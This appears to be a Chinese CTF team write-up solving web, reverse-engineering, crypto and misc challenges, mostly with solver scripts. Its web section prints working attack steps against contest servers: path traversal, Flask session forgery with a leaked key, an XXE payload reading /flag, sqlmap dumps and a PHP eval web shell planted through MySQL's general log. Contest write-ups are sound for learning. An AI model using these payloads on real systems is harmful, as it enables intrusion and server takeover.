喜提牛马第23名,不过对于我来说尽力了。
主方向逆向、密码学都极限输出了、但是第二道同模的题差一个点没想通,没得写很难受。
补题:NULL
Web
CarelessPy
目录
Web
CarelessPy
Confronting robot
Reverse
ez_cpp
babythread
3D_maze
Crypto
signin
Alexei needs help
Misc
sudoku_easy
烦人的压缩包
sudoku_speedrun
1.先大概看一下有哪几个功能
主界面有一个下载文件
"ctrl+u" 查看源代码发现两个页面 "/eval" 和 "/login"
2. 根据消息头 "Server: Werkzeug/1.0.1 Python/3.11.3"、 "/eval"回显是列表格式等判断是 "python flask", 且 "/eval" 使用了 "os.listdir()"函数,
3.用主界面下载文件功能下载 "/download?file=../../../flag" 和 "download?file=../app.py" 均被 "杂鱼"
4.下载 "/download?file=../../../app/__pycache__/part.cpython-311.pyc" 反编译查看 SECRET_KEY 伪造session,
Python #!/usr/bin/env python # visit https://tool.lu/pyc/ for more information # Version: Python 3.11
import os import random import hashlib from flask import * from lxml import etree app = Flask(__name__) app.config['SECRET_KEY'] = 'o2takuXX_donot_like_ntr' |
5. 进/login随便输入然后登陆
Shell # python3 flask_session_cookie_manager3.py encode -s 'o2takuXX_donot_like_ntr' -t "{'islogin': True}" eyJpc2xvZ2luIjp0cnVlfQ.ZIRGnA.z_rjwZz9VUGalSyoNK6fo_7Jv2I |
6.提示访问 "/th1s_1s_The_L4st_one"
7.简单的XXE
Shell GET /th1s_1s_The_L4st_one HTTP/1.1 Host: 47.108.165.60:37034 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: session=eyJpc2xvZ2luIjp0cnVlfQ.ZIRGnA.z_rjwZz9VUGalSyoNK6fo_7Jv2I Connection: close Content-Length: 157
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ENTITY xxe SYSTEM "file:///flag" > ]>
<result> <ctf>杂鱼~</ctf> <web>&xxe;</web> </result> |
Shell HTTP/1.0 200 OK Content-Type: text/xml;charset=UTF-8 Content-Length: 80 Vary: Cookie Server: Werkzeug/1.0.1 Python/3.11.3 Date: Sat, 10 Jun 2023 11:30:12 GMT
<result><ctf>杂鱼~</ctf><web>SYCTF{corrEC7_aNswER_c720bd6582bf}</web></result> |
Confronting robot
1. 经典单引号
Shell Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, bool given in /var/www/html/index.php on line 23 |
2.Sqlmap (别骂了我知道没有灵魂
Shell sqlmap -u http://47.108.165.60:47293/?myname=1 --dbs --batch sqlmap -u http://47.108.165.60:47293/?myname=1 -D robot_data --tables --batch sqlmap -u http://47.108.165.60:47293/?myname=1 -D robot_data -T name --columns --batch
Database: robot_data Table: name [1 column] +----------+--------------+ | Column | Type | +----------+--------------+ | username | varchar(256) | +----------+--------------+ |
Shell sqlmap -u http://47.108.165.60:47293/?myname=1 -D robot_data -T name -C username --dump --batch
+-------------------------------------+ | username | +-------------------------------------+ | Hacker | | secret is in /sEcR@t_n@Bodyknow.php | +-------------------------------------+ |
3.访问 "/sEcR@t_n@Bodyknow.php" 发现几个可用页面
传输 POST 传code
开始挑战, 跳到game.php, 随便填几个RPS, 发现会跟 NULL 比值
Shell
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Fatal error: Uncaught TypeError: Argument 2 passed to loseorwin() must be of the type string, null given, called in /var/www/html/game.php on line 38 and defined in /var/www/html/game.php:11 Stack trace: #0 /var/www/html/game.php(38): loseorwin('R', NULL) #1 {main} thrown in /var/www/html/game.php on line 11 |
不传参也会跟 NULL 比值但是最后一句变无参了
Shell
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Fatal error: Uncaught TypeError: Argument 2 passed to loseorwin() must be of the type string, null given, called in /var/www/html/game.php on line 38 and defined in /var/www/html/game.php:11 Stack trace: #0 /var/www/html/game.php(38): loseorwin('', NULL) #1 {main} thrown in /var/www/html/game.php on line 11 |
4.Sqlmap 爆code, 步骤就不放了level和risk都不用, 发现 "choice" 和 "round" 均空表, 再结合 "game.php" 会跟NULL 比值报错,
第一种想法是手动填写机器人的参数然后赢十回合得到flag。后经验证没写出来(我太菜了
Shell Database: game_data Table: game [2 columns] +--------+--------------+ | Column | Type | +--------+--------------+ | choice | varchar(256) | | round | int(255) | +--------+--------------+ |
Shell Database: game_data Table: game [0 entries] +--------+ | choice | +--------+ +--------+ |
5.再看 "/sEcR@t_n@Bodyknow.php" 传空参可以得到两个函数 "mysqli_query()" 和 "mysqli_fetch_all()", 试着写马传了一下, 然后sql日志写马
Shell show global variables like "%general%" |
发现有回显
Shell rray(2) { [0]=> array(2) { [0]=> string(11) "general_log" [1]=> string(3) "OFF" } [1]=> array(2) { [0]=> string(16) "general_log_file" [1]=> string(39) "web-pursue0h-robot-5754af205ee949e0.log" } } |
6.继续传发现 secure_file_priv 为空
Shell show global variables like '%secure%' |
Shell array(3) { [0]=> array(2) { [0]=> string(11) "secure_auth" [1]=> string(2) "ON" } [1]=> array(2) { [0]=> string(16) "secure_file_priv" [1]=> string(0) "" } [2]=> array(2) { [0]=> string(16) "secure_timestamp" [1]=> string(2) "NO" } } |
7.试着写马
Shell set global general_log='on' set global general_log_file='/var/www/html/shell.php' select '<?php eval($_REQUEST['cmd']);?>' |
访问 shell.php 发现Access denied , 试了好几个网页都不行, 那就写在 "/sEcR@t_n@Bodyknow.php" 里
Shell set global general_log_file='/var/www/html//sEcR@t_n@Bodyknow.php' select '<?php eval($_REQUEST['cmd']);?>' |
访问成功,蚁剑链接之后根目录没找见, 想起来 "game.php"
Shell if(isset($_GET['round1'])){ if($count==10){ echo "SYCTF{r06oT_rOboT_2ae2985843f4}"; } else{ echo "你输了"; } } |
Reverse
ez_cpp
- 逆着看:v14中存放的是密文,先爆破最后比较时的flag:
C++ int sub_181177(int a1,int a2) { int v2; // edx int v3; // edi int v4; // ebx
v2 = 0; v3 = 0; if (a2 > 0) { v4 = a2 - 1; do v2 |= ((a1 >> v3++) & 1) << v4--; while (v3 < a2); } return v2 + 1; }
unsigned char miwen[] = { 0x22, 0xA2, 0x72, 0xE6, 0x52, 0x8C, 0xF2, 0xD4, 0xA6, 0x0A, 0x3C, 0x24, 0xA6, 0x9C, 0x86, 0x24, 0x42, 0xD4, 0x22, 0xB6, 0x14, 0x42, 0xCE, 0xAC, 0x14, 0x6A, 0x2C, 0x7C, 0xE4, 0xE4, 0xE4, 0x1E, }; for (int i = 0; i < 32; i++) { for (int j = 32; j < 128; j++) { if ((1 ^ sub_181177(j, 8)) == miwen[i]) { printf("%c", j);//DENgJ1O+eP<$e9a$B+Dm(Bs5(V4>'''x } } } |
- 动调:这个flag经过两次加密,v19和v20对应的是加密函数的地址,(按g)。
C++ char miwen2[] = "DENgJ1O+eP<$e9a$B+Dm(Bs5(V4>'''x"; int v6[32] = { 0,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0 }; int v4 = 0; for (int i = 0; i < 32; i++) {
if (v4 <= 16) { if (v4 >= 16) { miwen2[v4] ^= 4u; } else { int result = v6[v4]; if (result) { if (!--result) miwen2[v4] ^= 9u; } else { miwen2[v4] += 2; } } } else { int result = v6[v4]; if (result) { if (!--result) miwen2[v4] ^= 6u; } else { miwen2[v4] += 5; } } ++v4; } for (int i = 0; i < 32; i++) { printf("%c", miwen2[i]);//FLPnL3F-lR5-l0h-F0Ir-Gu3-P9C!!!} } |
v19:去花,将字母往后移13位,多出26的重头开始。
SYC{Y3S-yE5-y0u-S0Ve-Th3-C9P!!!} |
babythread
这题大概用了这些东西
1.rc4加密(对称加密,所以动调改输入的优先级大于仿写)
2.多线程特性,这题中创建的线程互相独立,所谓的key修改只在子线程他们自己里生效,对后续没有影响
3.利用tls回调函数的特性进行反调试和真正的key修改,这也是常考的一个点
这个题算是d3rc4的一个简化版
解题
- TLS回调函数一个反调试,一个静态读取str20位
C++ __CheckForDebuggerJustMyCode(&unk_F7D0F4); result = j_debugg(); if ( result ) sub_F7133E(1u); return result; |
C++ int __stdcall TlsCallback_1_0(int a1, int a2, int a3) //real key create { FILE *Stream; // [esp+D0h] [ebp-8h]
__CheckForDebuggerJustMyCode(&unk_F7D0F4); Stream = fopen("babyThread.exe", "rb"); if ( !Stream ) j_printf_0("Failed to open file %s\n", "babyThread.exe"); fseek(Stream, 77, 0); fread(Str, 1u, 20u, Stream); return fclose(Stream); } |
- 主逻辑的key生成函数会将str截断为16位,不过不重要,直接把密文cv到输入里调过去
将输入修改为密文,动调到rc4异或位置提取明文即可,写个条件断点,要注意eax存的是数据的地址,不是数
SYC{Th1s_is_@_EasY_3ncryptO!!!!} |
3D_maze
一个6*10*10的三维迷宫,层穿梭是0124350,只有到达边界才能穿层,所以才有唯一解
为了让自己的努力显得有作用一点,贴一个没写明白的dfs,最后手推了一个小时
Crypto
signin
Python #sage exp data3 = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588 c = continued_fraction(data3) print(c) alist = c.convergents() print(alist) for i in alist: a = str(i).split('/') if len(a)>1 and gcd(int(a[0]),int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) : print(a)
#['97093002077798295469816641595207740909547364338742117628537014186754830773717', '67958620138887907577348085925738704755742144710390414146201367031822084270769'] |
Python import gmpy2 data1 =97093002077798295469816641595207740909547364338742117628537014186754830773717 data2 =67958620138887907577348085925738704755742144710390414146201367031822084270769 phi = (data1-1) * (data2-1) d = gmpy2.invert(data1,phi) c = 1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628 m = pow(c,d ,data1 * data2) print(m) |
Python from z3 import * q = Real('q') p = Real('p') s = Solver() s.add(p-q == 57684649402353527014234479338961992571416462151551812296301705975419997474236) s.add(p*q == 2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517) print(s.check()) print(s.model()) |
Python from Crypto.Util.number import * import gmpy2 q = 89050782851818876669770322556796705712770640993210984822169118425068336611139 p = 31366133449465349655535843217834713141354178841659172525867412449648339136903 n = p*q phi = (q-1) * (p-1) e = 65537 c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837 d = gmpy2.invert(e,phi) m = pow(c,d,n) data2 =67958620138887907577348085925738704755742144710390414146201367031822084270769 m -= data2 print(long_to_bytes(m)) |
SYC{a00338c150aa3a5163dbf404100e6754} |
Alexei needs help
Python import gmpy2 as gp import sys sys.setrecursionlimit(100000000)
a = 12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215 b = 10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673 m = 9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817 seq = [1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967] def seqsum(i): ans = 0 for j in range(len(seq)): ans += gp.powmod(i,j,m)*seq[j] return ans w1 = 1 w2 = 1 for i in range(3,2024): temp = (a * w2 + b * w1 + seqsum(i)) % m w1 = w2 w2 = temp print(i,temp) |
Python from Crypto.Cipher import AES from hashlib import md5 from binascii import *
ans = 5163247493229942514529178232067746640236155241995928925465164064900096952872519999937852442623769142690077270244871565985743169621852048447822749270628879 k = unhexlify(md5(str(ans).encode()).hexdigest()) m = b'37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81'
w = unhexlify(m)
aes = AES.new(k, AES.MODE_ECB) res = aes.decrypt(w) print(res) |
SYC{c7ceedc7197a0d350025fff478f667293ebbaa6b} |
Misc
sudoku_easy
Python def solve_sudoku(board): row, col = find_empty_cell(board) if row is None: return True # 数独已经解决 for num in range(1, 10): if is_valid_move(board, row, col, num): board[row][col] = num if solve_sudoku(board): return True board[row][col] = 0 # 回溯 return False
def find_empty_cell(board): for i in range(9): for j in range(9): if board[i][j] == 0: return i, j return None, None
def is_valid_move(board, row, col, num):
for i in range(9): if board[row][i] == num or board[i][col] == num: return False box_row = (row // 3) * 3 box_col = (col // 3) * 3 for i in range(box_row, box_row + 3): for j in range(box_col, box_col + 3): if board[i][j] == num: return False return True
sudoku_str = "000206000090000701386417002000070023900601540175304800019760005003000000807500214" board = [[int(sudoku_str[i*9+j]) for j in range(9)] for i in range(9)]
if solve_sudoku(board): for row in board: for i in row: print(i,end='') print() else: print("None") |
SYCTF{e4sY_c77e1acb8238_sUD0KUKUku} |
烦人的压缩包
- 使用工具爆破压缩包密码
- 得到的图片用binwalk分解
SYC{Yxx_Say_Thank3Q_v3ry_much} |
sudoku_speedrun
- 和上面的数独题一样,不过只能写交互,pwn手直接秒了
C++ from pwn import * from ctypes import * io.recvuntil(b'> ') i = str('1') io.sendline(i.encode()) io.recvuntil(b'> ') i = str('7') io.sendline(i.encode()) mp=[] io.recvuntil(b'7\r\n') for j in range(9): if j%3==0: io.recvline() tmp=[] st=io.recvline() print('len:',hex(len(st))) for i in range(len(st)): if i==0: continue if st[i-1]==0x20 and st[i+1]==0x20: if chr(st[i])!='|': tmp.append(st[i]-0x30) if st[i]==0x33 and st[i+1]==0x32 and st[i+2]==0x6d: tmp.append(0) print(tmp) mp.append(tmp) |
- 使用列表读入,由于字符较多所以得手动实现,写个判断某字符若两侧字符都为空格则该数字为数独上的数。
观察发现有很多的32m0,数一下得出结论,出现一次则有一个需要填数的地方。完成读入后输出检查。
C++ def isvalid(i,j): for m in range(9): if m!=i and mp[m][j]==mp[i][j]: return False for n in range(9): if n!=j and mp[i][n]==mp[i][j]: return False for m in range(i//3*3,i//3*3+3): for n in range(j//3*3,j//3*3+3): if m!=i and mp[m][n]==mp[i][j]: return False return True
def f(a,b): for i in range(a,9): for j in range(b,9): if mp[i][j]==0: for c in [1,2,3,4,5,6,7,8,9]: mp[i][j]=c if isvalid(i,j): if f(a,b): return True else: mp[i][j]=0 else: mp[i][j]=0 return False return True
f(0,0) # 利用深度优先搜索和合法判断函数,复杂度很高但是数独很小,肯定可以在限制时间内过掉。 发送细节: for i in range(9): print(mp[i])
for i in range(0,9): for j in range(0,9): io.send(chr(mp[i][j]+0x30)) io.send('d') io.send('s') |
Python from pwn import * context(log_level='debug')
io=remote('47.108.165.60',31570) io.recvuntil(b'> ') i = str('1') io.sendline(i.encode()) io.recvuntil(b'> ') i = str('7') io.sendline(i.encode()) mp=[] io.recvuntil(b'7\r\n') for j in range(9): if j%3==0: io.recvline() tmp=[] st=io.recvline() print('len:',hex(len(st))) for i in range(len(st)): if i==0: continue if st[i-1]==0x20 and st[i+1]==0x20: if chr(st[i])!='|': tmp.append(st[i]-0x30) if st[i]==0x33 and st[i+1]==0x32 and st[i+2]==0x6d: tmp.append(0) print(tmp) mp.append(tmp)
def isvalid(i,j): for m in range(9): if m!=i and mp[m][j]==mp[i][j]: return False for n in range(9): if n!=j and mp[i][n]==mp[i][j]: return False for m in range(i//3*3,i//3*3+3): for n in range(j//3*3,j//3*3+3): if m!=i and mp[m][n]==mp[i][j]: return False return True
def f(a,b): for i in range(a,9): for j in range(b,9): if mp[i][j]==0: for c in [1,2,3,4,5,6,7,8,9]: mp[i][j]=c if isvalid(i,j): if f(a,b): return True else: mp[i][j]=0 else: mp[i][j]=0 return False return True
f(0,0)
for i in range(9): print(mp[i])
for i in range(0,9): for j in range(0,9): io.send(chr(mp[i][j]+0x30)) io.send('d') io.send('s')
io.interactive() |